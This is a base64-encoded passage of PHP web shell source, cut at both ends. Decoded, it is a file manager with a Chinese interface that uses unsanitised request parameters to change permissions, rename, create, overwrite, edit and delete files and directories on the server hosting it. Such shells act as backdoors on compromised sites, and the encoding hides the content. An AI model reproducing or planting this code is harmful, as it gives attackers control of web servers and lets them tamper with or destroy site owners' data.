JF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhv